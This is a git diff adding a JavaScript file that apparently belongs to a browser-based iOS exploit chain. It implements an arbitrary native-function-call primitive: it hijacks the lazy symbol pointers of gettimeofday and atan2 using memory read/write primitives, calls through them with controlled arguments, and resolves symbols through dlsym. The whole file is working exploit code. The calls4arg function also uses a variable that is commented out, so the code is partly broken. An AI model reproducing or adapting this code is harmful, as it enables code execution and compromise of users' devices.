folder

1 files changed, 52 insertions, 0 deletions

diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
new file mode 100644
index 0000000..c766b1a
--- /dev/null
+++ b/src/js/primitives/call.js
@@ -0,0 +1,52 @@
+var gettimeofday_lazy_addy = 0x34d63d3c;
+var atan2_lazy_addy = 0x346afc84;
+var reserve_addr = 0x1a0000;
+var slide = 0x0;
+var base = 0x0;
+//var slid = 0x0;
+
+function get_dyld_shc_slide() {
+	return read_u32((slide << 12) + reserve_addr + 20);
+}
+
+function call(addy) {
+	var dyld_shc_slide = get_dyld_shc_slide();
+	var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide);
+	write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy);
+	var d = new Date();
+	write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp);
+}
+
+function call4arg(addy, r0, r1, r2, r3) {
+	var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8));
+	var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8));
+
+	arg1d = arg1.asDouble();
+	arg2d = arg2.asDouble();
+
+	delete arg1;
+	delete arg2;
+		
+	var dyld_shc_slide = get_dyld_shc_slide();
+
+	tmp = read_u32(atan2_lazy_addy + dyld_shc_slide);
+	write_u32(atan2_lazy_addy + dyld_shc_slide, addy);
+	ret = Math.atan2(arg1d, arg2d);
+	write_u32(atan2_lazy_addy + dyld_shc_slide, tmp);
+	
+	delete tmp;
+	delete arg1d;
+	delete arg2d;
+	
+	return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0;
+}
+
+/*
+ *  call with symbol
+ */
+function calls4arg(sym, r0, r1, r2, r3) {
+	var dlsym_addy = read_u32(reserve_addr + 24 + slid);
+	var shc_slide = read_u32(reserve_addr + 20 + slid);
+	var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0);
+	return call4arg(addy, r0, r1, r2, r3);
+}